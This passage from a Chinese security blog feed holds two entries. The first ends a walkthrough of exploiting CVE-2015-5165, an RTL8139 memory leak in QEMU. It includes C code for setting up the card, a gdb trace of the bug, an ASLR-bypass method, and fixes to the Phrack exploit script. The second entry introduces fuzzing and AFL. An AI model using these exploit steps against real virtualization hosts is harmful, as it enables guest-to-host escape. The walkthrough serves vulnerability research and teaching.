<h3 id= "3-2-Setting-up-the-Card" > <a href= "#3-2-Setting-up-the-Card" class= "headerlink" title= "3.2 Setting up the Card" > </a> 3.2 Setting up the Card</h3> <p > 为了发送格式错误的数据包并读取泄漏的数据, 我们需要在卡上配置Rx和Tx描述符缓冲区, 并设置一些标志, 以使我们的数据包流经易受攻击的代码路径。</p>
<p > 下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > +---------------------------+----------------------------+</span> <br > <span class= "line" > 0x00 | MAC0 | MAR0 |</span> <br > <span class= "line" > +---------------------------+----------------------------+</span> <br > <span class= "line" > 0x10 | TxStatus0 |</span> <br > <span class= "line" > +--------------------------------------------------------+</span> <br > <span class= "line" > 0x20 | TxAddr0 |</span> <br > <span class= "line" > +-------------------+-------+----------------------------+</span> <br > <span class= "line" > 0x30 | RxBuf |ChipCmd| |</span> <br > <span class= "line" > +-------------+------+------+----------------------------+</span> <br > <span class= "line" > 0x40 | TxConfig | RxConfig | ... |</span> <br > <span class= "line" > +-------------+-------------+----------------------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > | skipping irrelevant registers |</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > +---------------------------+--+------+------------------+</span> <br > <span class= "line" > 0xd0 | ... | |TxPoll| ... |</span> <br > <span class= "line" > +-------+------+------------+--+------+--+---------------+</span> <br > <span class= "line" > 0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |</span> <br > <span class= "line" > +-------+------+------------+------------+---------------+</span> <br > </pre> </td> </tr> </table> </figure>
<ul >
<li > <strong > TxConfig:</strong> 启用/禁用Tx标志, 例如TxLoopBack( 启用回送测试模式) , TxCRC( 不将CRC附加到Tx数据包) 等。</li>
<li > <strong > RxConfig:</strong> 启用/禁用Rx标志, 例如AcceptBroadcast( 接受广播数据包) , AcceptMulticast( 接受组播数据包) 等。</li>
<li > <strong > CpCmd:</strong> C+命令寄存器, 用于启用某些功能, 例如CplusRxEnd( 启用接收) , CplusTxEnd( 启用发送) 等。</li>
<li > <strong > TxAddr0:</strong> Tx描述符表的物理内存地址。</li>
<li > <strong > RxRingAddrLO:</strong> Rx描述符表的低32位物理内存地址。</li>
<li > <strong > RxRingAddrHI:</strong> Rx描述符表的高32位物理内存地址。</li>
<li > <strong > TxPoll:</strong> 告诉网卡检查Tx描述符。</li>
</ul>
<p > Rx/Tx描述符 由以下结构定义, 其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志( 例如所有权标志) 进行编码, 以表示缓冲区是由网卡还是由驱动程序拥有。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > struct rtl8139_desc { </span> <br > <span class= "line" > uint32_t dw0;</span> <br > <span class= "line" > uint32_t dw1;</span> <br > <span class= "line" > uint32_t **buf_lo**;</span> <br > <span class= "line" > uint32_t **buf_hi**;</span> <br > <span class= "line" > } ;</span> <br > </pre> </td> </tr> </table> </figure>
<p > 网卡通过in<em > () out</em> ()原语( 来自sys/io.h) 进行配置。 为此, 我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #define RTL8139_PORT 0xc000</span> <br > <span class= "line" > #define RTL8139_BUFFER_SIZE 1500</span> <br > <span class= "line" > </span> <br > <span class= "line" > struct rtl8139_desc desc;</span> <br > <span class= "line" > void *rtl8139_tx_buffer;</span> <br > <span class= "line" > uint32_t phy_mem;</span> <br > <span class= "line" > </span> <br > <span class= "line" > rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);</span> <br > <span class= "line" > phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);</span> <br > <span class= "line" > </span> <br > <span class= "line" > memset(& desc, 0, sizeof(struct rtl8139_desc));</span> <br > <span class= "line" > </span> <br > <span class= "line" > desc-> dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |</span> <br > <span class= "line" > CP_TX_IPCS | CP_TX_TCPCS;</span> <br > <span class= "line" > desc-> dw0 += RTL8139_BUFFER_SIZE;</span> <br > <span class= "line" > </span> <br > <span class= "line" > desc.buf_lo = phy_mem;</span> <br > <span class= "line" > </span> <br > <span class= "line" > iopl(3);</span> <br > <span class= "line" > </span> <br > <span class= "line" > outl(TxLoopBack, RTL8139_PORT + TxConfig);</span> <br > <span class= "line" > outl(AcceptMyPhys, RTL8139_PORT + RxConfig);</span> <br > <span class= "line" > </span> <br > <span class= "line" > outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);</span> <br > <span class= "line" > outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);</span> <br > <span class= "line" > </span> <br > <span class= "line" > outl(phy_mem, RTL8139_PORT + TxAddr0);</span> <br > <span class= "line" > outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "3-3-Exploit" > <a href= "#3-3-Exploit" class= "headerlink" title= "3.3 Exploit" > </a> 3.3 Exploit</h3> <p > phrack随附的源代码中提供了完整的利用( cve-2015-5165.c) 。( uuencode用于将二进制文件编码为纯ASCII文本, 以便可以通过电子邮件发送它们。) <br > cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址, 因此首先需要通过<a href= "https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-7504/build-exploit.sh" target= "_blank" rel= "noopener" > build-exploit.sh</a> 来进行计算。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ./build-exploit.sh ' /home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64' </span> <br > </pre> </td> </tr> </table> </figure>
<p > 该漏洞利用程序在网卡上配置所需的寄存器, 并设置Tx和Rx缓冲区描述符。 然后, 它伪造了格式错误的IP数据包, 该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。<br > 通过对qemu运行程序下断点, 可用看到漏洞触发的过程, 由于ip_len小于伪造的hlen, 导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去( 网卡需要配置为loopback 口)</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > (gdb) b rtl8139.c:2173</span> <br > <span class= "line" > Breakpoint 1 at 0x55a5ef757b03: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2173.</span> <br > <span class= "line" > (gdb) c</span> <br > <span class= "line" > Continuing.</span> <br > <span class= "line" > </span> <br > <span class= "line" > Thread 3 " qemu-system-x86" hit Breakpoint 1, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)</span> <br > <span class= "line" > at /home/han/VMescape/qemu/hw/net/rtl8139.c:2173</span> <br > <span class= "line" > 2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) { </span> <br > <span class= "line" > (gdb) p/x ip</span> <br > <span class= "line" > $1 = 0x7ff7d4278b6e</span> <br > <span class= "line" > (gdb) p/x *ip</span> <br > <span class= "line" > $2 = { ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde, ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6,</span> <br > <span class= "line" > ip_sum = 0xadde, ip_src = 0x10108c0, ip_dst = 0x201a8c0} </span> <br > <span class= "line" > (gdb) n</span> <br > <span class= "line" > [Thread 0x7ff7e131f700 (LWP 56763) exited]</span> <br > <span class= "line" > 2179 hlen = IP_HEADER_LENGTH(ip);</span> <br > <span class= "line" > (gdb) n</span> <br > <span class= "line" > 2180 ip_protocol = ip→ip_p;</span> <br > <span class= "line" > (gdb) p/x hlen</span> <br > <span class= "line" > $5 = 0x14</span> <br > <span class= "line" > (gdb) n</span> <br > <span class= "line" > 2181 ip_data_len = be16_to_cpu(ip-> ip_len) - hlen;</span> <br > <span class= "line" > (gdb) n</span> <br > <span class= "line" > 2185 if (ip)</span> <br > <span class= "line" > (gdb) p/x ip_data_len</span> <br > <span class= "line" > **$7 = 0xffff**</span> <br > <span class= "line" > (gdb) b rtl8139.c:2231</span> <br > <span class= "line" > Breakpoint 2 at 0x55a5ef757d42: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2231.</span> <br > <span class= "line" > (gdb) c</span> <br > <span class= "line" > Continuing.</span> <br > <span class= "line" > </span> <br > <span class= "line" > Thread 3 " qemu-system-x86" hit Breakpoint 2, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)</span> <br > <span class= "line" > at /home/han/VMescape/qemu/hw/net/rtl8139.c:2231</span> <br > <span class= "line" > 2231 int tcp_data_len = ip_data_len - tcp_hlen;</span> <br > <span class= "line" > (gdb) n</span> <br > <span class= "line" > 2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;</span> <br > <span class= "line" > (gdb) p/x tcp_data_len</span> <br > <span class= "line" > **$8 = 0xffeb**</span> <br > </pre> </td> </tr> </table> </figure>
<p > 虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时, 我们观察到存在多个函数指针。经过调试, 发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 <strong > get/set/resolve/release</strong> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > typedef struct ObjectProperty</span> <br > <span class= "line" > { </span> <br > <span class= "line" > gchar *name;</span> <br > <span class= "line" > gchar *type;</span> <br > <span class= "line" > gchar *description;</span> <br > <span class= "line" > ObjectPropertyAccessor *get;</span> <br > <span class= "line" > ObjectPropertyAccessor *set;</span> <br > <span class= "line" > ObjectPropertyResolve *resolve;</span> <br > <span class= "line" > ObjectPropertyRelease *release;</span> <br > <span class= "line" > void *opaque;</span> <br > <span class= "line" > </span> <br > <span class= "line" > QTAILQ_ENTRY(ObjectProperty) node;</span> <br > <span class= "line" > } ObjectProperty;</span> <br > </pre> </td> </tr> </table> </figure>
<p > QEMU遵循对象模型来管理设备, 内存区域等。启动时, QEMU创建多个对象并为其分配属性。 例如, 以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法, 可以检索此boolean属性的值: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > object_property_add_bool(OBJECT(mr), " may-overlap" ,</span> <br > <span class= "line" > memory_region_get_may_overlap,</span> <br > <span class= "line" > NULL, /* memory_region_set_may_overlap */</span> <br > <span class= "line" > & error_abort);</span> <br > </pre> </td> </tr> </table> </figure>
<p > RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。</p>
<p > 在我们的漏洞利用中, 我们在泄漏的内存中搜索已知的对象属性。更准确地说, 我们正在寻找80个字节的内存块( 块大小为已释放的ObjectProperty结构) , 其中至少设置了一个函数指针( get, set, resolve or release) 。<br > 即使这些地址受ASLR约束, 我们仍然可以猜测<strong > .text节的基地址</strong> 。</p>
<blockquote >
<p > 0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 <strong > property_get_bool</strong> 等符号的地址</p>
</blockquote>
<blockquote >
<p > 1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr, 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 <strong > qemu_get_leaked_chunk</strong> </p>
</blockquote>
<blockquote >
<p > 2) 在 1 搜索到的内存上匹配 0 收集到的 <strong > get/set/resolve/release</strong> 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 <strong > qemu_get_leaked_object_property</strong> </p>
</blockquote>
<blockquote >
<p > 3) 在 2 搜索的基础上, 用 <strong > object-> get/set/resolve/release</strong> 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址</p>
</blockquote>
<p > 实际上, 它们的页面偏移是固定的( 12个最低有效位或虚拟地址不是随机的) 。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址, 例如mprotect() 和system()。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png" a l t > <br > 我们还注意到, 地址PHY_MEM + 0x78泄漏了几次, 其中PHY_MEM是分配给该Guest的<strong > 物理内存的起始地址。</strong> </p>
<blockquote >
<p > 总结: 当前漏洞利用程序搜索泄漏的内存, 并尝试解析( i) .text段的基地址和( ii) 物理内存的基地址。</p>
</blockquote>
<h3 id= "3-4-遇到的几个问题" > <a href= "#3-4-遇到的几个问题" class= "headerlink" title= "3.4 遇到的几个问题" > </a> 3.4 遇到的几个问题</h3> <ol >
<li > phrack提供的build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址。<a href= "http://www.phrack.org/papers/vm-escape-qemu-case-study.html" target= "_blank" rel= "noopener" > 原始的</a> build-exploit.sh 获取 plt 段是通过下面的命令行:</li>
<li > <code > plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk ' {print $2}' )</code> </li>
</ol>
<p > 这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #plt=$(readelf -S $binary | grep plt | tail -n 1 | awk ' { print $2} ' )</span> <br > <span class= "line" > plt=.plt</span> <br > </pre> </td> </tr> </table> </figure>
<ol >
<li > Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78, 但实际上并不固定为0x78, 更通用的做法是统计泄露的数据中出现的 <code > uint64_t</code> 类型的数据 <code > 0x00007FXXYYZZZZZZ</code> ,其中 <code > 7FXXYY</code> 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址</li>
</ol>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png" width= "50%" height= "50%" > </p>
<p > 通过 gdb 调试验证结果正确性:</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png" width= "50%" height= "50%" > </p>
<h2 id= "ref" > <a href= "#ref" class= "headerlink" title= "ref" > </a> ref</h2> <p > <a href= "http://jiayy.me/2019/04/15/CVE-2015-5165-7504/" target= "_blank" rel= "noopener" > http://jiayy.me/2019/04/15/CVE-2015-5165-7504/</a> <br > <a href= "http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp" target= "_blank" rel= "noopener" > http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp</a> <br > <a href= "https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/" target= "_blank" rel= "noopener" > https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/</a> </p>
]]></content>
2020-10-21 10:25:01 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > Pwn</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > CVE</tag>
<tag > QEMU</tag>
<tag > 信息泄露</tag>
</tags>
</entry>
<entry >
<title > 模糊测试与AFL</title>
<url > /2019/07/01/AFL-first-learn/</url>
<content > <![CDATA[<h1 id="0x01-模糊测试"> <a href= "#0x01-模糊测试" class= "headerlink" title= "0x01 模糊测试" > </a> 0x01 模糊测试</h1> <p > 首先, 模糊测试( Fuzzing) 是一种测试手段, 它把系统看成一个摸不清内部结构的黑盒, 只是向其输入接口随机地发送合法测试用例, 这些用例并不是开发者所预期的输入, 所以极有可能会造成系统的崩溃, 通过分析崩溃信息, 测试人员( 黑客) 就可以评估系统是否存在可利用的漏洞。<br > 模糊测试的过程,就好像是一个不断探测系统可以承受的输入极限的过程,让我想起学电子的时候对一个滤波器进行带宽的评估,如果我们知道内部电路原理,那么这个器件对于我们就是白盒了,可以直接通过公式计算理论带宽,现在系统对于我们而言是一个黑盒,我们通过在足够大频率范围内对其不断输入信号,就能测试出其实际带宽。</p>
<p > <strong > 模糊测试方法一览</strong> </p>
<table >
<tr >
<th rowspan= "2" > 基于变种的Fuzzer</th>
<th rowspan= "2" > 基于模板的Fuzzer</th>
<th colspan= "2" > 基于反馈演进的Fuzzer</th>
</tr>
<tr >
<td > 基于追踪路径覆盖率</td>
<td > 基于分支覆盖率</td>
</tr>
<tr >
<td rowspan= "2" > 在已知合法的输入的基础上,对该输入进行随机变种或者依据某种经验性的变种,从而产生不可预期的测试输入。</td>
<td rowspan= "2" > 此类Fuzzer工具的输入数据, 依赖于安全人员结合自己的知识, 给出输入数据的模板, 构造丰富的输入测试数据。</td>
<td colspan= "2" > 此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度, 从而调整自己的fuzzing输入。</td>
</tr>
<tr >
<td > PAP:路径编码的算法;后面会产生路径爆炸的问题</td>
<td > 漏洞的爆发往往由于触发了非预期的分支</td>
</tr>
<tr >
<td > Taof, GPF, ProxyFuzz, Peach Fuzzer</td>
<td > SPIKE, Sulley, Mu‐ 4000, Codenomicon</td>
<td > </td>
<td > AFL</td>
</tr>
</table>
<hr >
<h1 id= "0x02-AFL快速入门" > <a href= "#0x02-AFL快速入门" class= "headerlink" title= "0x02 AFL快速入门" > </a> 0x02 <a href= "http://lcamtuf.coredump.cx/afl/QuickStartGuide.txt" target= "_blank" rel= "noopener" > AFL快速入门</a> </h1> <p > 1) 用<code > make</code> 编译AFL。如果构建失败, 请参阅docs / INSTALL以获取提示。<br > 2) 查找或编写一个相当快速和简单的程序, 该程序从<strong > <em > 文件或标准输入</em> </strong> 中获取数据, 以一种有价值的方式处理它, 然后干净地退出。如果测试网络服务, 请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时, 也要注释掉校验和验证码。<br > 遇到故障时, 程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示, 请参阅<code > docs/README</code> 中的第11节。<br > 3) 使用afl-gcc编译要模糊的程序/库。一种常见的方法是:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared</span> <br > <span class= "line" > $ make clean all</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 如果程序构建失败,请联系 <a href= "mailto:afl-users@googlegroups.com" target= "_blank" rel= "noopener" > a f l - u s e r s @ g o o g l e g r o u p s . c o m </a> 。<br > 4) 获取一个对程序有意义的小而有效的输入文件。在模糊详细语法( SQL, HTTP等) 时, 也要创建字典, 如<code > dictionaries/README.dictionaries</code> 中所述。<br > 5) 如果程序从stdin读取, 则运行<code > afl-fuzz</code> ,如下所示:<br > <code > ./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program' s cmdline ...]</code> <br > 如果程序从文件中获取输入,则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。</p>
<p > <strong > 一些参考文档</strong> </p>
<blockquote >
<p > <a href= "http://lcamtuf.coredump.cx/afl/README.txt" target= "_blank" rel= "noopener" > docs/README</a> - AFL的一般介绍, <br > <a href= "https://github.com/mirrorer/afl/blob/master/docs/perf_tips.txt" target= "_blank" rel= "noopener" > docs/perf_tips.txt</a> - 关于如何快速模糊的简单提示,<br > <a href= "http://lcamtuf.coredump.cx/afl/status_screen.txt" target= "_blank" rel= "noopener" > docs/status_screen.txt</a> - UI中显示的花絮的解释, <br > <a href= "https://github.com/mirrorer/afl/blob/master/docs/parallel_fuzzing.txt" target= "_blank" rel= "noopener" > docs/parallel_fuzzing.txt</a> - 关于在多个核上运行AFL的建议<br > <a href= "http://lcamtuf.coredump.cx/afl/demo/" target= "_blank" rel= "noopener" > Generated test cases for common image formats</a> - 生成图像文件测试用例的demo<br > <a href= "http://lcamtuf.coredump.cx/afl/technical_details.txt" target= "_blank" rel= "noopener" > Technical “whitepaper” for afl-fuzz</a> - 技术白皮书</p>
</blockquote>
<p > <strong > 适用环境</strong> <br > 该工具已确认适用于32位和64位的x86 Linux, OpenBSD, FreeBSD和NetBSD。 它也适用于MacOS X和Solaris, 但有一些限制。 它支持用C, C ++或Objective C编写的程序, 使用gcc或clang编译。 在Linux上, 可选的QEMU模式也允许对黑盒二进制文件进行模糊测试。</p>
<p > AFL的变体和衍生物允许您模糊Python, Go, Rust, OCaml, GCJ Java, 内核系统调用, 甚至整个虚拟机。 还有一个密切启发的进程模糊器, 它在LLVM中运行, 并且是一个在Windows上运行的分支。 最后, AFL是<a href= "https://github.com/google/oss-fuzz/" target= "_blank" rel= "noopener" > OSS-Fuzz</a> 背后的模糊引擎之一。</p>
<p > 哦 - 如果你安装了gnuplot, 你可以使用afl-plot来获得漂亮的进度图。</p>
<hr >
<h1 id= "0x03-AFL特点" > <a href= "#0x03-AFL特点" class= "headerlink" title= "0x03 AFL特点" > </a> 0x03 <a href= "http://lcamtuf.coredump.cx/afl/" target= "_blank" rel= "noopener" > AFL特点</a> </h1> <ol >
<li > <strong > 非常复杂</strong> 。它是一种插桩器( instrumentation) 引导的遗传模糊器, 能够在各种非平凡的目标中<a href= "http://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html" target= "_blank" rel= "noopener" > 合成复杂的文件语义</a> ,减少了对专用的语法识别工具的需求。它还带有一个独特的<a href= "http://lcamtuf.blogspot.com/2014/11/afl-fuzz-crash-exploration-mode.html" target= "_blank" rel= "noopener" > 崩溃浏览器</a> ,一个<a href= "https://groups.google.com/d/msg/afl-users/eWb2PgjLnUo/8AKqadYzSBoJ" target= "_blank" rel= "noopener" > 测试用例最小化器</a> ,一个<a href= "https://groups.google.com/forum/#!topic/afl-users/RW4RF6x9aBc" target= "_blank" rel= "noopener" > 故障触发分配器</a> 和一个<a href= "https://lcamtuf.blogspot.com/2016/02/say-hello-to-afl-analyze.html" target= "_blank" rel= "noopener" > 语法分析器</a> - 使评估崩溃错误的影响变得简单。</li>
<li > <strong > 智能</strong> 。它围绕一系列经过<a href= "http://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html" target= "_blank" rel= "noopener" > 精心研究</a> ,高增益的测试用例预处理和模糊测试策略而构建,在其他模糊测试框架中很少采用与之相当的严格性。结果,它发现了真正的<a href= "http://lcamtuf.coredump.cx/afl/#bugs" target= "_blank" rel= "noopener" > 漏洞</a> 。</li>
<li > <strong > 它很快</strong> 。由于其低级编译时间或仅二进制检测和<a href= "http://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html" target= "_blank" rel= "noopener" > 其他优化</a> ,该工具提供了针对常见现实世界目标的近原生或优于原生的模糊测试速度。新增的<a href= "http://lcamtuf.blogspot.com/2015/06/new-in-afl-persistent-mode.html" target= "_blank" rel= "noopener" > 持久模式</a> 允许在最少的代码修改的帮助下,对许多程序进行异常快速的模糊测试。</li>
<li > <strong > 可以链接到其他工具</strong> 。模糊器可以生成优质,紧凑的测试语料库,可以作为更专业,更慢或劳动密集型流程和测试框架的种子。它还能够与任何其他软件进行即时语料库同步。</li>
</ol>
<hr >
<h1 id= "0x04-AFL-README" > <a href= "#0x04-AFL-README" class= "headerlink" title= "0x04 AFL README" > </a> 0x04 <a href= "http://lcamtuf.coredump.cx/afl/README.txt" target= "_blank" rel= "noopener" > AFL README</a> </h1> <blockquote >
<p > Written and maintained by Michal Zalewski <a href= "mailto:lcamtuf@google.com" target= "_blank" rel= "noopener" > l c a m t u f @ g o o g l e . c o m </a> </p>
<p > Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved.<br > Released under terms and conditions of Apache License, Version 2.0.</p>
<p > For new versions and additional information, check out:<br > <a href= "http://lcamtuf.coredump.cx/afl/" target= "_blank" rel= "noopener" > http://lcamtuf.coredump.cx/afl/</a> </p>
<p > To compare notes with other users or get notified about major new features,<br > send a mail to <a href= "mailto:afl-users+subscribe@googlegroups.com" target= "_blank" rel= "noopener" > a f l - u s e r s + s u b s c r i b e @ g o o g l e g r o u p s . c o m </a> .</p>
<p > <strong > See QuickStartGuide.txt if you don’ t have time to read this file.</strong> </p>
</blockquote>
<h2 id= "1) 具有导向性的模糊测试的挑战" > <a href= "#1) 具有导向性的模糊测试的挑战" class= "headerlink" title= "1) 具有导向性的模糊测试的挑战" > </a> 1) 具有导向性的模糊测试的挑战</h2> <p > Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。<br > 不幸的是,模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径,从而使一些漏洞超出了这种技术的范围。<br > 已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 <strong > 语义库蒸馏( corpus distillation) </strong> 。网上找到的一些大型语料库中往往包含大量的文件,这时就需要对其精简,该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集,然后通过传统方式对其进行模糊处理。该方法非常有效,但需要这样的语料库随时可用。正因为如此,<strong > 代码覆盖率</strong> 也只是衡量程序执行状态的一个简单化的度量, 这种方式并不适合后续引导fuzzing测试的。<br > 其他更复杂的研究集中在诸如 <strong > 程序流分析( “concoic execution”) , 符号执行或静态分析</strong> 等技术上。所有这些方法在实验环境中都非常有前景,但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径, 在这一方面符号执行和concolic技术往往会显得不够健壮( 如路径爆炸问题) , 所以仍然稍逊于传统的fuzzing技术。</p>
<h2 id= "2) afl-fuzz方法" > <a href= "#2) afl-fuzz方法" class= "headerlink" title= "2) afl-fuzz方法" > </a> 2) afl-fuzz方法</h2> <p > American Fuzzy Lop是一种暴力模糊测试, 配有极其简单但坚如磐石的 <strong > 引导遗传算法</strong> 。它使用修改后的边覆盖率,轻松地获取程序控制流程的细微局部变化。<br > 简化一下,整体算法可以概括为:</p>
<ul >
<li > 1) 将用户提供的初始测试用例加载到队列中, </li>
<li > 2) 从队列中获取下一个输入文件, </li>
<li > 3) 尝试将测试用例修剪到不会改变程序测量行为的最小尺寸, </li>
<li > 4) 使用平衡且经过充分研究的各种传统模糊测试策略反复改变文件, </li>
<li > 5) 如果任何生成的编译导致由instrumentation记录的新状态转换, 则将变异输出添加为队列中的新条目。</li>
<li > 6) 转到2。</li>
</ul>
<p > <img src= "https://image.3001.net/images/20181207/1544168163_5c0a22e3eedce.jpg" width= "60%" d i v align= "center/" > </p>
<p > 发现的测试用例也会定期被淘汰, 以消除那些被更新, 更高覆盖率的发现所淘汰的测试用例。并经历其他几个插桩驱动( instrumentation-driven) 的努力最小化步骤。<br > 作为模糊测试过程的一个副作用,该工具创建了一个小型,独立的有趣测试用例集。这些对于播种其他劳动力或资源密集型测试方案非常有用 - 例如,用于压力测试浏览器,办公应用程序,图形套件或闭源工具。<br > 该模糊器经过全面测试,可提供远远优于盲目模糊或仅覆盖工具的开箱即用性能。</p>
<h2 id= "3) 用于AFL的插桩( instrumentation) 程序" > <a href= "#3) 用于AFL的插桩( instrumentation) 程序" class= "headerlink" title= "3) 用于AFL的插桩( instrumentation) 程序" > </a> 3) 用于AFL的插桩( instrumentation) 程序</h2> <p > 当源代码可用时,可以通过配套工具 <strong > 注入instrumentation</strong> , 该工具可作为第三方代码的任何标准构建过程中gcc或clang的替代品。<br > instrumentation具有相当适度的性能影响;与afl-fuzz实现的其他优化相结合, 大多数程序可以像传统工具一样快速或甚至更快地进行模糊测试。</p>
<p > <strong > 重新编译目标程序</strong> 的正确方法可能会有所不同,具体取决于构建过程的具体情况,但几乎通用的方法是:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ CC = /path/to/afl/afl-gcc ./configure</span> <br > <span class= "line" > $ make clean all</span> <br > <span class= "line" > 对于C ++程序, 您还需要将CXX = / path /设置为/ afl / afl g ++。</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > clang组件( afl-clang和afl-clang ++)可以以相同的方式使用; clang用户也可以选择利用更高性能的检测模式, 如llvm_mode / README.llvm中所述。</p>
<p > 在测试库时, 您需要查找或编写一个简单的程序, 该程序从stdin或文件中读取数据并将其传递给测试的库。在这种情况下, 必须 <strong > 将此可执行文件与已检测库的静态版本相链接</strong> ,或者确保在运行时加载正确的.so文件( 通常通过设置LD_LIBRARY_PATH) 。最简单的选项是 <strong > 静态构建</strong> ,通常可以通过以下方式实现:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ CC = /path/to/afl/afl-gcc ./configure --disable-shared</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 调用<code > make</code> 时设置AFL_HARDEN = 1将导致CC组件自动启用代码强化选项, 以便更容易检测到简单的内存错误。 Libdislocator, AFL附带的帮助程序库( 请参阅libdislocator / README.dislocator) 也可以帮助发现堆损坏问题。<br > PS。建议ASAN用户查看notes_for_asan.txt文件以获取重要警告。</p>
